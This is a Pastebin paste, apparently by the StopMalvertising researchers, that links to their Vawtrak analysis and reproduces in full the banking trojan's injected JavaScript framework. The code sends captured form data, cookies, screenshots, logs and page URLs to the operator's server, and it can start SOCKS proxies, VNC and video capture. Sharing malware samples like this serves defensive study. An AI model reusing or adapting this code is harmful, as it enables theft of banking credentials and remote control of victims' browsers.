Advertisement
StopMalvertising

Vawtrack - EQFramework

Jun 28th, 2014
798
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. http://stopmalvertising.com/malware-reports/analysis-of-vawtrak.html
  2.  
  3. function EQFramework(i) {
  4.     this._Key = i;
  5.     this._LastAsync = null;
  6.     this.Version = 2;
  7.     this.GetXHR = function () {
  8.         if (typeof XMLHttpRequest === 'undefined') {
  9.             XMLHttpRequest = function () {
  10.                 try {
  11.                     return new ActiveXObject("Msxml2.XMLHTTP.6.0")
  12.                 } catch (e) {}
  13.                 try {
  14.                     return new ActiveXObject("Msxml2.XMLHTTP.3.0")
  15.                 } catch (e) {}
  16.                 try {
  17.                     return new ActiveXObject("Msxml2.XMLHTTP")
  18.                 } catch (e) {}
  19.                 try {
  20.                     return new ActiveXObject("Microsoft.XMLHTTP")
  21.                 } catch (e) {}
  22.                 return false
  23.             }
  24.         }
  25.         return new XMLHttpRequest()
  26.     };
  27.     this.Query = function (a, b, c, d) {
  28.         var f = this.GetXHR();
  29.         var g = null;
  30.         var h = this;
  31.         Async = (typeof (d) == 'undefined') ? false : true;
  32.         b = '/' + this._Key + '/' + Math.random() + '/' + b;
  33.         if (Async == true) {
  34.             this._LastAsync = null;
  35.             f.onreadystatechange = function () {
  36.                 try {
  37.                     if (f.readyState == 4) {
  38.                         if (f.status != 200 || f.responseText == '-') {
  39.                             h._LastAsync = false;
  40.                             if (typeof (d) == "function") {
  41.                                 d(false)
  42.                             }
  43.                         } else {
  44.                             if (f.responseText == '+') {
  45.                                 h._LastAsync = true;
  46.                                 if (typeof (d) == "function") {
  47.                                     d(true)
  48.                                 }
  49.                             } else {
  50.                                 h._LastAsync = f.responseText;
  51.                                 if (typeof (d) == "function") {
  52.                                     d(f.responseText)
  53.                                 }
  54.                             }
  55.                         }
  56.                     }
  57.                 } catch (e) {
  58.                     h._LastAsync = false;
  59.                     if (typeof (d) == "function") {
  60.                         d(false)
  61.                     }
  62.                 }
  63.             }
  64.         }
  65.         f.open(a, b, Async);
  66.         f.send(c);
  67.         if (Async == true) {
  68.             return true
  69.         }
  70.         try {
  71.             if (f.readyState == 4 && f.status == 200) {
  72.                 if (f.responseText == '-') {
  73.                     return false
  74.                 } else {
  75.                     if (f.responseText == '+') {
  76.                         return true
  77.                     } else {
  78.                         return f.responseText
  79.                     }
  80.                 }
  81.             }
  82.             return false
  83.         } catch (e) {
  84.             return false
  85.         }
  86.     };
  87.     this.GetLastAsync = function () {
  88.         return this._LastAsync
  89.     };
  90.     this.SetVal = function (a, b, c) {
  91.         Url = '1/' + a;
  92.         return this.Query('POST', Url, b, c)
  93.     };
  94.     this.GetVal = function (a, b) {
  95.         Url = '2/' + a;
  96.         return this.Query('GET', Url, null, b)
  97.     };
  98.     this.DelVal = function (a, b) {
  99.         Url = '3/' + a;
  100.         return this.Query('GET', Url, null, b)
  101.     };
  102.     this.ClearVals = function (a) {
  103.         Url = '4/';
  104.         return this.Query('GET', Url, null, a)
  105.     };
  106.     this.GetServer = function (a, b, c) {
  107.         t = (b == true) ? 'S' : 'D';
  108.         return this.Query('GET', '5/' + t + '/' + a, null, c)
  109.     };
  110.     this.PostServer = function (a, b, c, d) {
  111.         t = (b == true) ? 'S' : 'D';
  112.         return this.Query('POST', '5/' + t + '/' + a, c, d)
  113.     };
  114.     this.Get = function (a, b, c, d) {
  115.         t = (b == true) ? 'S' : 'D';
  116.         if (typeof (c) == 'undefined' || c == false) {
  117.             c = null;
  118.             Type = 'GET'
  119.         } else {
  120.             c = 'Cookie: ' + c;
  121.             Type = 'POST'
  122.         }
  123.         return this.Query(Type, '6/' + t + '/' + a, c, d)
  124.     };
  125.     this.Post = function (a, b, c, d) {
  126.         t = (b == true) ? 'S' : 'D';
  127.         return this.Query('POST', '7/' + t + '/' + a, c, d)
  128.     };
  129.     this.ScreenShot = function (a, b, c, d) {
  130.         Url = '8/' + b + '/' + c + '/' + encodeURIComponent(a);
  131.         return this.Query('GET', Url, null, d)
  132.     };
  133.     this.LogAdd = function (a, b) {
  134.         Url = '9/';
  135.         return this.Query('POST', Url, a, b)
  136.     };
  137.     this.UpdateConfig = function (a) {
  138.         Url = '10/';
  139.         return this.Query('GET', Url, null, a)
  140.     };
  141.     this.StartSocks = function (a, b) {
  142.         Url = '11/';
  143.         return this.Query('POST', Url, a, b)
  144.     };
  145.     this.StartVnc = function (a, b) {
  146.         Url = '12/';
  147.         return this.Query('POST', Url, a, b)
  148.     };
  149.     this.SendForm = function (a, b, c) {
  150.         Url = '13/';
  151.         Post = a + "\r\n" + b;
  152.         return this.Query('POST', Url, Post, c)
  153.     };
  154.     this.StartVideo = function (a, b) {
  155.         Url = '14/' + a;
  156.         Data = document.location.href;
  157.         return this.Query('POST', Url, Data, b)
  158.     };
  159.     this.StopVideo = function (a) {
  160.         Url = '15/';
  161.         return this.Query('GET', Url, null, a)
  162.     }
  163. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement